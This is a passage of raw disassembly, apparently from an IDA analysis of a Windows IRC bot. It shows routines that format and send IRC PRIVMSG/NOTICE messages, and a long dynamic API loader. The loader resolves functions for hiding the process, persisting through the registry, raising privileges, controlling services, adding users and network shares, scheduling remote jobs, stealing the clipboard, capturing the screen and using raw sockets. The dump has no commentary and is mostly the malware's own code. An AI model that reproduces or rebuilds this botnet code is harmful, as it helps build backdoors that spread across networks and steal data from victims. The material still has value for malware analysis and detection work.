		lea	eax, [ebp+var_3BC]
		push	eax
		lea	eax, [ebp+var_B8]
		push	eax
		push	[ebp+var_1BC]
		call	sub_4045DD
		add	esp, 14h


loc_404579:				; CODE XREF: sub_404249+30Ej
		lea	eax, [ebp+var_3BC]
		push	eax
		call	sub_401C33
		push	[ebp+var_38]
		call	sub_4111AE
		pop	ecx
		pop	ecx
		push	edi
		jmp	short loc_40451B
sub_404249	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_404592	proc near		; CODE XREF: sub_40751F+40p
					; sub_4078FA+1BBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_412E64
		lea	eax, [ebp+var_200]
		add	esp, 10h
		lea	edx, [eax+1]


loc_4045BF:				; CODE XREF: sub_404592+32j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4045BF
		push	0
		sub	eax, edx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534	; send
		leave
		retn
sub_404592	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4045DD	proc near		; CODE XREF: sub_401000+B2p
					; sub_4010CA+61p ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_4045F8
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_4045F8:				; CODE XREF: sub_4045DD+14j
		mov	eax, edi
		lea	edx, [eax+1]


loc_4045FD:				; CODE XREF: sub_4045DD+25j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_4045FD
		sub	eax, edx
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+1]


loc_40460E:				; CODE XREF: sub_4045DD+36j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40460E
		push	[ebp+arg_8]
		sub	eax, ecx
		mov	ecx, 1FAh
		sub	ecx, eax
		push	offset aS_1	; "%s"
		sub	ecx, esi
		push	ecx
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_412E0D
		lea	eax, [ebp+var_400]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_200]
		push	edi
		push	offset aSSS	; "%s %s :%s\r\n"
		push	eax
		call	sub_412BB5
		add	esp, 24h
		lea	eax, [ebp+var_200]
		pop	edi
		lea	ecx, [eax+1]
		pop	esi


loc_40465F:				; CODE XREF: sub_4045DD+87j
		mov	dl, [eax]
		inc	eax
		test	dl, dl
		jnz	short loc_40465F
		push	0
		sub	eax, ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_433534	; send
		cmp	[ebp+arg_10], 0
		jz	short locret_40468C
		push	0FAh
		call	ds:dword_41F000	; Sleep

locret_40468C:				; CODE XREF: sub_4045DD+A2j
		leave
		retn
sub_4045DD	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40468E	proc near		; CODE XREF: sub_40D1EF+4Bp
		push	ebx
		push	ebp
		mov	ebp, ds:dword_41F078
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, ds:dword_41F074
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_4047AE
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_433478, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_433490, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4334EC, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_433450, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4334B8, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_43349C, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_43353C, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_43342C, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4334C0, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4334E4, eax
		call	esi	; GetProcAddress
		cmp	dword_433478, ebx
		mov	dword_433548, eax
		jz	short loc_40478C
		cmp	dword_433490, ebx
		jz	short loc_40478C
		cmp	dword_4334EC, ebx
		jz	short loc_40478C
		cmp	dword_433450, ebx
		jz	short loc_40478C
		cmp	dword_43349C, ebx
		jz	short loc_40478C
		cmp	dword_43353C, ebx
		jz	short loc_40478C
		cmp	dword_43342C, ebx
		jz	short loc_40478C
		cmp	dword_4334C0, ebx
		jz	short loc_40478C
		cmp	dword_4334E4, ebx
		jz	short loc_40478C
		cmp	eax, ebx
		jnz	short loc_404796


loc_40478C:				; CODE XREF: sub_40468E+B8j
					; sub_40468E+C0j ...
		mov	dword_4335F0, 1


loc_404796:				; CODE XREF: sub_40468E+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_43359C, eax
		jz	short loc_4047C3
		push	1
		push	ebx
		call	eax	; GetDiskFreeSpaceExA
		jmp	short loc_4047C3
; ---------------------------------------------------------------------------


loc_4047AE:				; CODE XREF: sub_40468E+1Dj
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_4335F4, eax
		mov	dword_4335F0, 1


loc_4047C3:				; CODE XREF: sub_40468E+117j
					; sub_40468E+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	ds:dword_41F070	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40487E
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_433560, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4334F8, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_433434, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_433498, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_43344C, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4335CC, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_433430, eax
		call	esi	; GetProcAddress
		cmp	dword_433560, ebx
		mov	dword_433538, eax
		jz	short loc_404889
		cmp	dword_4334F8, ebx
		jz	short loc_404889
		cmp	dword_433434, ebx
		jz	short loc_404889
		cmp	dword_433498, ebx
		jz	short loc_404889
		cmp	dword_43344C, ebx
		jz	short loc_404889
		cmp	dword_4335CC, ebx
		jz	short loc_404889
		cmp	dword_433430, ebx
		jz	short loc_404889
		cmp	eax, ebx
		jnz	short loc_404893
		jmp	short loc_404889
; ---------------------------------------------------------------------------


loc_40487E:				; CODE XREF: sub_40468E+144j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_4335FC, eax


loc_404889:				; CODE XREF: sub_40468E+1B8j
					; sub_40468E+1C0j ...
		mov	dword_4335F8, 1


loc_404893:				; CODE XREF: sub_40468E+1ECj
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404A2E
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4335C8, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4334E8, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_433484, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_433460, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4334DC, eax
		call	esi	; GetProcAddress
		cmp	dword_4335C8, ebx
		mov	dword_43357C, eax
		jz	short loc_40491E
		cmp	dword_4334E8, ebx
		jz	short loc_40491E
		cmp	dword_433484, ebx
		jz	short loc_40491E
		cmp	dword_433460, ebx
		jz	short loc_40491E
		cmp	dword_4334DC, ebx
		jz	short loc_40491E
		cmp	eax, ebx
		jnz	short loc_404928


loc_40491E:				; CODE XREF: sub_40468E+26Aj
					; sub_40468E+272j ...
		mov	dword_433600, 1


loc_404928:				; CODE XREF: sub_40468E+28Ej
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4335D4, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4335BC, eax
		call	esi	; GetProcAddress
		cmp	dword_4335D4, ebx
		mov	dword_433508, eax
		jz	short loc_404963
		cmp	dword_4335BC, ebx
		jz	short loc_404963
		cmp	eax, ebx
		jnz	short loc_40496D


loc_404963:				; CODE XREF: sub_40468E+2C7j
					; sub_40468E+2CFj
		mov	dword_433600, 1


loc_40496D:				; CODE XREF: sub_40468E+2D3j
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_43355C, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4335D8, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_433564, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_433580, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_433494, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4334D0, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_43356C, eax
		call	esi	; GetProcAddress
		cmp	dword_43355C, ebx
		mov	dword_433598, eax
		jz	short loc_404A11
		cmp	dword_4335D8, ebx
		jz	short loc_404A11
		cmp	dword_433564, ebx
		jz	short loc_404A11
		cmp	dword_433580, ebx
		jz	short loc_404A11
		cmp	dword_433494, ebx
		jz	short loc_404A11
		cmp	dword_4334D0, ebx
		jz	short loc_404A11
		cmp	dword_43356C, ebx
		jz	short loc_404A11
		cmp	eax, ebx
		jnz	short loc_404A1B


loc_404A11:				; CODE XREF: sub_40468E+34Dj
					; sub_40468E+355j ...
		mov	dword_433600, 1


loc_404A1B:				; CODE XREF: sub_40468E+381j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_433530, eax
		jnz	short loc_404A43
		jmp	short loc_404A39
; ---------------------------------------------------------------------------


loc_404A2E:				; CODE XREF: sub_40468E+210j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_433604, eax


loc_404A39:				; CODE XREF: sub_40468E+39Ej
		mov	dword_433600, 1


loc_404A43:				; CODE XREF: sub_40468E+39Cj
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404B0F
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4335DC, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4335B0, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_433518, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_433510, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_433554, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_43343C, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_433528, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4334CC, eax
		call	esi	; GetProcAddress
		cmp	dword_4335DC, ebx
		mov	dword_43351C, eax
		jz	short loc_404B1A
		cmp	dword_4335B0, ebx
		jz	short loc_404B1A
		cmp	dword_433518, ebx
		jz	short loc_404B1A
		cmp	dword_433510, ebx
		jz	short loc_404B1A
		cmp	dword_433554, ebx
		jz	short loc_404B1A
		cmp	dword_43343C, ebx
		jz	short loc_404B1A
		cmp	dword_433528, ebx
		jz	short loc_404B1A
		cmp	dword_4334CC, ebx
		jz	short loc_404B1A
		cmp	eax, ebx
		jnz	short loc_404B24
		jmp	short loc_404B1A
; ---------------------------------------------------------------------------


loc_404B0F:				; CODE XREF: sub_40468E+3C0j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_43360C, eax


loc_404B1A:				; CODE XREF: sub_40468E+441j
					; sub_40468E+449j ...
		mov	dword_433608, 1


loc_404B24:				; CODE XREF: sub_40468E+47Dj
		mov	ebp, ds:dword_41F070
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404DE0
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4334B0, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_433424, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_43352C, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4334F4, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_433574, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_433558, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4335B8, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4334A0, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_433444, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_433458, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_433520, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_433514, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4335EC, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4335C4, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_433594, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_433570, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_433534, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_433470, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_433414, eax
		call	esi	; GetProcAddress
		mov	dword_433438, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_433578, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_433544, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4335C0, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_433464, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4334BC, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_433418, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4335B4, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_433500, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_433590, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4334E0, eax
		call	esi	; GetProcAddress
		cmp	dword_4334B0, ebx
		mov	dword_4335AC, eax
		jz	loc_404DEB
		cmp	dword_433424, ebx
		jz	loc_404DEB
		cmp	dword_43352C, ebx
		jz	loc_404DEB
		cmp	dword_433574, ebx
		jz	loc_404DEB
		cmp	dword_433558, ebx
		jz	loc_404DEB
		cmp	dword_4335B8, ebx
		jz	loc_404DEB
		cmp	dword_4334A0, ebx
		jz	loc_404DEB
		cmp	dword_433444, ebx
		jz	loc_404DEB
		cmp	dword_433458, ebx
		jz	loc_404DEB
		cmp	dword_433520, ebx
		jz	loc_404DEB
		cmp	dword_433514, ebx
		jz	loc_404DEB
		cmp	dword_4335EC, ebx
		jz	loc_404DEB
		cmp	dword_4335C4, ebx
		jz	loc_404DEB
		cmp	dword_433594, ebx
		jz	short loc_404DEB
		cmp	dword_433534, ebx
		jz	short loc_404DEB
		cmp	dword_433470, ebx
		jz	short loc_404DEB
		cmp	dword_433414, ebx
		jz	short loc_404DEB
		cmp	dword_433438, ebx
		jz	short loc_404DEB
		cmp	dword_433578, ebx
		jz	short loc_404DEB
		cmp	dword_433544, ebx
		jz	short loc_404DEB
		cmp	dword_4335C0, ebx
		jz	short loc_404DEB
		cmp	dword_433464, ebx
		jz	short loc_404DEB
		cmp	dword_4334BC, ebx
		jz	short loc_404DEB
		cmp	dword_433418, ebx
		jz	short loc_404DEB
		cmp	dword_4335B4, ebx
		jz	short loc_404DEB
		cmp	dword_433500, ebx
		jz	short loc_404DEB
		cmp	dword_433590, ebx
		jz	short loc_404DEB
		cmp	eax, ebx
		jnz	short loc_404DF5
		jmp	short loc_404DEB
; ---------------------------------------------------------------------------


loc_404DE0:				; CODE XREF: sub_40468E+4A7j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_433614, eax


loc_404DEB:				; CODE XREF: sub_40468E+646j
					; sub_40468E+652j ...
		mov	dword_433610, 1


loc_404DF5:				; CODE XREF: sub_40468E+74Ej
		push	offset aWininet_dll ; "wininet.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_404EFA
		push	offset aInternetgetcon ; "InternetGetConnectedState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aInternetgetc_0 ; "InternetGetConnectedStateEx"
		push	edi
		mov	dword_433428, eax
		call	esi	; GetProcAddress
		push	offset aHttpopenreques ; "HttpOpenRequestA"
		push	edi
		mov	dword_4335E8, eax
		call	esi	; GetProcAddress
		push	offset aHttpsendreques ; "HttpSendRequestA"
		push	edi
		mov	dword_4334C8, eax
		call	esi	; GetProcAddress
		push	offset aInternetconnec ; "InternetConnectA"
		push	edi
		mov	dword_4335E4, eax
		call	esi	; GetProcAddress
		push	offset aInternetopena ;	"InternetOpenA"
		push	edi
		mov	dword_4334D4, eax
		call	esi	; GetProcAddress
		push	offset aInternetopenur ; "InternetOpenUrlA"
		push	edi
		mov	dword_433448, eax
		call	esi	; GetProcAddress
		push	offset aInternetcracku ; "InternetCrackUrlA"
		push	edi
		mov	dword_4334A8, eax
		call	esi	; GetProcAddress
		push	offset aInternetreadfi ; "InternetReadFile"
		push	edi
		mov	dword_433420, eax
		call	esi	; GetProcAddress
		push	offset aInternetcloseh ; "InternetCloseHandle"
		push	edi
		mov	dword_43354C, eax
		call	esi	; GetProcAddress
		cmp	dword_433428, ebx
		mov	ecx, dword_433448
		mov	dword_4334FC, eax
		jz	short loc_404ED6
		cmp	dword_4335E8, ebx
		jz	short loc_404ED6
		cmp	dword_4334C8, ebx
		jz	short loc_404ED6
		cmp	dword_4335E4, ebx
		jz	short loc_404ED6
		cmp	dword_4334D4, ebx
		jz	short loc_404ED6
		cmp	ecx, ebx
		jz	short loc_404ED6
		cmp	dword_4334A8, ebx
		jz	short loc_404ED6
		cmp	dword_433420, ebx
		jz	short loc_404ED6
		cmp	dword_43354C, ebx
		jz	short loc_404ED6
		cmp	eax, ebx
		jnz	short loc_404EE0


loc_404ED6:				; CODE XREF: sub_40468E+806j
					; sub_40468E+80Ej ...
		mov	dword_433618, 1


loc_404EE0:				; CODE XREF: sub_40468E+846j
		cmp	ecx, ebx
		jz	short loc_404F15
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)"
		call	ecx	; InternetOpenA
		cmp	eax, ebx
		mov	dword_4335E0, eax
		jnz	short loc_404F15
		jmp	short loc_404F0F
; ---------------------------------------------------------------------------


loc_404EFA:				; CODE XREF: sub_40468E+772j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_43361C, eax
		mov	dword_433618, 1


loc_404F0F:				; CODE XREF: sub_40468E+86Aj
		mov	dword_4335E0, ebx


loc_404F15:				; CODE XREF: sub_40468E+854j
					; sub_40468E+868j
		push	offset aIcmp_dll ; "icmp.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_404F5F
		push	offset aIcmpcreatefile ; "IcmpCreateFile"
		push	edi
		call	esi	; GetProcAddress
		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4334F0, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_433524, eax
		call	esi	; GetProcAddress
		cmp	dword_4334F0, ebx
		mov	dword_433588, eax
		jz	short loc_404F6A
		cmp	dword_433524, ebx
		jz	short loc_404F6A
		cmp	eax, ebx
		jnz	short loc_404F74
		jmp	short loc_404F6A
; ---------------------------------------------------------------------------


loc_404F5F:				; CODE XREF: sub_40468E+892j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_433624, eax


loc_404F6A:				; CODE XREF: sub_40468E+8C1j
					; sub_40468E+8C9j ...
		mov	dword_433620, 1


loc_404F74:				; CODE XREF: sub_40468E+8CDj
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40506A
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_433488, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4334A4, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4335A0, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_433454, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4334D8, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_43341C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_43346C, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_433568, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_433480, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_43348C, eax
		call	esi	; GetProcAddress
		cmp	dword_433488, ebx
		mov	dword_4334B4, eax
		jz	short loc_405075
		cmp	dword_4334A4, ebx
		jz	short loc_405075
		cmp	dword_4335A0, ebx
		jz	short loc_405075
		cmp	dword_433454, ebx
		jz	short loc_405075
		cmp	dword_4334D8, ebx
		jz	short loc_405075
		cmp	dword_43341C, ebx
		jz	short loc_405075
		cmp	dword_43346C, ebx
		jz	short loc_405075
		cmp	dword_433568, ebx
		jz	short loc_405075
		cmp	dword_433480, ebx
		jz	short loc_405075
		cmp	dword_43348C, ebx
		jz	short loc_405075
		cmp	eax, ebx
		jnz	short loc_40507F
		jmp	short loc_405075
; ---------------------------------------------------------------------------


loc_40506A:				; CODE XREF: sub_40468E+8F1j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_43362C, eax


loc_405075:				; CODE XREF: sub_40468E+98Cj
					; sub_40468E+994j ...
		mov	dword_433628, 1


loc_40507F:				; CODE XREF: sub_40468E+9D8j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4050B4
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_433584, eax
		call	esi	; GetProcAddress
		cmp	dword_433584, ebx
		mov	dword_433504, eax
		jz	short loc_4050BF
		cmp	eax, ebx
		jnz	short loc_4050C9
		jmp	short loc_4050BF
; ---------------------------------------------------------------------------


loc_4050B4:				; CODE XREF: sub_40468E+9FCj
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_433634, eax


loc_4050BF:				; CODE XREF: sub_40468E+A1Ej
					; sub_40468E+A24j
		mov	dword_433630, 1


loc_4050C9:				; CODE XREF: sub_40468E+A22j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4050FE
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4334AC, eax
		call	esi	; GetProcAddress
		cmp	dword_4334AC, ebx
		mov	dword_43350C, eax
		jz	short loc_405109
		cmp	eax, ebx
		jnz	short loc_405113
		jmp	short loc_405109
; ---------------------------------------------------------------------------


loc_4050FE:				; CODE XREF: sub_40468E+A46j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_43363C, eax


loc_405109:				; CODE XREF: sub_40468E+A68j
					; sub_40468E+A6Ej
		mov	dword_433638, 1


loc_405113:				; CODE XREF: sub_40468E+A6Cj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_405172
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_433540, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4335D0, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_43347C, eax
		call	esi	; GetProcAddress
		cmp	dword_433540, ebx
		mov	dword_433440, eax
		jz	short loc_40517D
		cmp	dword_4335D0, ebx
		jz	short loc_40517D
		cmp	dword_43347C, ebx
		jz	short loc_40517D
		cmp	eax, ebx
		jnz	short loc_405187
		jmp	short loc_40517D
; ---------------------------------------------------------------------------


loc_405172:				; CODE XREF: sub_40468E+A90j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	dword_433644, eax


loc_40517D:				; CODE XREF: sub_40468E+ACCj
					; sub_40468E+AD4j ...
		mov	dword_433640, 1


loc_405187:				; CODE XREF: sub_40468E+AE0j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4051BC
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4335A8, eax
		call	esi	; GetProcAddress
